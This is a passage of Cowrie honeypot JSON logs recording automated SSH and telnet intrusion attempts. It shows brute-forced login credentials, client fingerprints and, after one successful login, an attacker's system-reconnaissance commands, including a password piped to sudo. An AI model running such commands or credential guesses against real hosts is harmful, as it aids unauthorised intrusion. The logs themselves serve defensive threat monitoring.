AAAAB3NzaC1yc2EAAAADAQABAAACAQCj8QT1w/RjYTJPPGGsGodW3pfx8Ou5eHs/fzVpFwXMGm2BBHelQTqo8opFhnZqU0tjr9+uOBiGYoBnzwihbpBHfRxfwRqZEAPAucAYdtyiuLBUD2nlY3aqFVNzG0Q55nL0tbBA+7gjvHet4sRw69UXonSuzF5iYk7HnfRVBqbn8DQBuFlrLUyCJbD8xXUND1LpZPzCAqfHtuqAD593MypzNHqfoKcOXKAaDKAPKILAu7viUqm5wLMqUf9Dcq4tLEPm3tV8V16mXSFhMgOn66T85Epb7PeOX0+F74gUrkBPt4IVlBt4YQQhpqlMMixmP9aVd3+KRlhbubMxCElYvVSSnXAkRye7PdanKCi78GxCus+L7Wg+tQaUiNeiLYMDuFb+JRSoxRRXgunAJGyfosmGlsz+xBabMdQrhARmI0g2lpTrAca8CRsB2PD2PGwyT2zK8KXTxnsMkp5AerYW6w2MpCGgfIGAlWA/JWUf1ai9ifep+SIwzKFK/hhUYzjBj1XHOUCZZTEzlnvhTblL57JbS/eyREAtx0EQq2HYSYaDB+02tPwzvB1OXAUhxXZO+Znd//CK9l44iaH5A/g374WwJY9GStb4MRp44BEwLNzQdQ7lIKdj90Ojqgam1+fLDsoFbUlwJohLR6+YOMKOG/iust//115ui7Vk18Sva1AZCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.823231Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:ef:6c:9e:8d:1e:26:9a:68:d8:56:16:c5:ba:00:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXtWcEbVcaSrQahSl+T+9ElAIe0d5Hw7Ds+04qV+wL6L6qsz3dxhFLIKtyZN82KokjAIQrmDrxbwh62FZl3hDFerCBc2UJ0Wv6pIX6Vt0vfP9PatV2VCHuAotsaPQaQkAfPQ4gyMlmATM5QeD/ldr2INKGo6IRitROOKZKaqYgBmsdCKjJXhuMRukwmQ7NGQ11+0XIM1U7RtefA97A7b8f0sKVfZdnqjkochHSWKPbLxHHsGmjM2un7jOe/IYxmsVpZVCTyuH81lJzBzkKPmeIo5oFtHyAFOmUB8LqmXteccScTIT0MoRBoBChW2PfVl0gw/9rZ388+yGIQNP7cVjdNqK6LzwI/bHG9piDpUIB07+WhLZjWih0DGvszL00pIZbVxUEzn3jsZf1ZdBY5FiITgnut4qoxzy3gnO7cOXeCXVMAeFPzQQAixt29e6L8/jVvxe/M5rcUyjCq8vCBQ9PK8zKOweeF78Al34KtapldeXrsqw16ScjIJn2MsV+iyU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:ef:6c:9e:8d:1e:26:9a:68:d8:56:16:c5:ba:00:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.853504Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:ef:6c:9e:8d:1e:26:9a:68:d8:56:16:c5:ba:00:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXtWcEbVcaSrQahSl+T+9ElAIe0d5Hw7Ds+04qV+wL6L6qsz3dxhFLIKtyZN82KokjAIQrmDrxbwh62FZl3hDFerCBc2UJ0Wv6pIX6Vt0vfP9PatV2VCHuAotsaPQaQkAfPQ4gyMlmATM5QeD/ldr2INKGo6IRitROOKZKaqYgBmsdCKjJXhuMRukwmQ7NGQ11+0XIM1U7RtefA97A7b8f0sKVfZdnqjkochHSWKPbLxHHsGmjM2un7jOe/IYxmsVpZVCTyuH81lJzBzkKPmeIo5oFtHyAFOmUB8LqmXteccScTIT0MoRBoBChW2PfVl0gw/9rZ388+yGIQNP7cVjdNqK6LzwI/bHG9piDpUIB07+WhLZjWih0DGvszL00pIZbVxUEzn3jsZf1ZdBY5FiITgnut4qoxzy3gnO7cOXeCXVMAeFPzQQAixt29e6L8/jVvxe/M5rcUyjCq8vCBQ9PK8zKOweeF78Al34KtapldeXrsqw16ScjIJn2MsV+iyU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.856604Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:38:90:86:8a:63:ab:4e:45:48:ea:1f:09:99:88:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCU0QmMD5VlKhEsqR5w87P/R6LL63qtsYTf8nOUxYPCyMsUp3q/0diWa7NxJd1BZZ2VviWFA88LCdUe84wAbf9KXQ55HZ1w9HNdMLMSv0gZdfNKF6YhsRatP3cQiX3LJhg6Pm+VTs1heqQsEOda1GWVpXYhaITMUyo2kcPR5RykaAQlCmh3FE6GBHQ81Iw2GLmasdTY8yvYVc4z6/EqdgD0RNSvoPCTGj1Lur2LvmyP3vSH4TLsx5CYUbmjxeW1nfkPRlNnwr603ZJPJz6B2jZ/AWxi1EMOSarR5L0AULkL26zSQvbulYrfsd26aE+L44MIuMki1MgIWTZw8Zg1TcoX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:38:90:86:8a:63:ab:4e:45:48:ea:1f:09:99:88:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.887403Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:38:90:86:8a:63:ab:4e:45:48:ea:1f:09:99:88:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCU0QmMD5VlKhEsqR5w87P/R6LL63qtsYTf8nOUxYPCyMsUp3q/0diWa7NxJd1BZZ2VviWFA88LCdUe84wAbf9KXQ55HZ1w9HNdMLMSv0gZdfNKF6YhsRatP3cQiX3LJhg6Pm+VTs1heqQsEOda1GWVpXYhaITMUyo2kcPR5RykaAQlCmh3FE6GBHQ81Iw2GLmasdTY8yvYVc4z6/EqdgD0RNSvoPCTGj1Lur2LvmyP3vSH4TLsx5CYUbmjxeW1nfkPRlNnwr603ZJPJz6B2jZ/AWxi1EMOSarR5L0AULkL26zSQvbulYrfsd26aE+L44MIuMki1MgIWTZw8Zg1TcoX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.890720Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.925875Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42034,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e182e0b6c4b","protocol":"ssh","message":"New connection: 103.122.221.179:42034 (10.17.0.5:22) [session: 6e182e0b6c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:25.148307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:25.153406Z","src_ip":"103.122.221.179","session":"6e182e0b6c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:25.409597Z","src_ip":"103.122.221.179","session":"6e182e0b6c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gertrude","message":"login attempt [root/gertrude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:26.178986Z","src_ip":"103.122.221.179","session":"6e182e0b6c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:27.438629Z","src_ip":"103.122.221.179","session":"6e182e0b6c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50846,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6df1980fc7a","protocol":"telnet","message":"New connection: 128.199.8.54:50846 (159.203.135.109:23) [session: d6df1980fc7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:38.344984Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":40108,"dst_ip":"10.17.0.5","dst_port":22,"session":"be8848a72731","protocol":"ssh","message":"New connection: 34.100.248.63:40108 (10.17.0.5:22) [session: be8848a72731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:49.310726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:49.314830Z","src_ip":"34.100.248.63","session":"be8848a72731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:49.558642Z","src_ip":"34.100.248.63","session":"be8848a72731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sex","password":"sex123","message":"login attempt [sex/sex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:50.547170Z","src_ip":"34.100.248.63","session":"be8848a72731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:51.806908Z","src_ip":"34.100.248.63","session":"be8848a72731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":59692,"dst_ip":"159.203.135.109","dst_port":22,"session":"641fdcf572c7","protocol":"ssh","message":"New connection: 91.92.40.4:59692 (159.203.135.109:22) [session: 641fdcf572c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:53.757417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:53.762392Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:53.864084Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Administrator","message":"login attempt [admin/Administrator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:54.251536Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:54.754327Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:54.757720Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:54.761469Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:54.765303Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:54.768956Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":44,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:54.917249Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:55.228068Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'Administrator' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","message":"CMD: echo 'Administrator' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:55.231482Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","message":"CMD: m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:55.235393Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"while read k v r","message":"Command not found: while read k v r","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:55.239209Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"{ m=$v","message":"Command not found: { m=$v","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:55.242955Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"break ","message":"Command not found: break ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:55.245924Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"} ","message":"Command not found: } ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:55.248831Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9367b6b0b5b03dd27574115f087d31549daebd3139c5125f6ac8b4745f1c9234","size":124,"shasum":"9367b6b0b5b03dd27574115f087d31549daebd3139c5125f6ac8b4745f1c9234","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/9367b6b0b5b03dd27574115f087d31549daebd3139c5125f6ac8b4745f1c9234 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:55.385158Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:55.388588Z","src_ip":"91.92.40.4","session":"641fdcf572c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60182,"dst_ip":"10.17.0.5","dst_port":22,"session":"82e6d6423f66","protocol":"ssh","message":"New connection: 103.176.20.57:60182 (10.17.0.5:22) [session: 82e6d6423f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:25.084331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:25.088500Z","src_ip":"103.176.20.57","session":"82e6d6423f66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac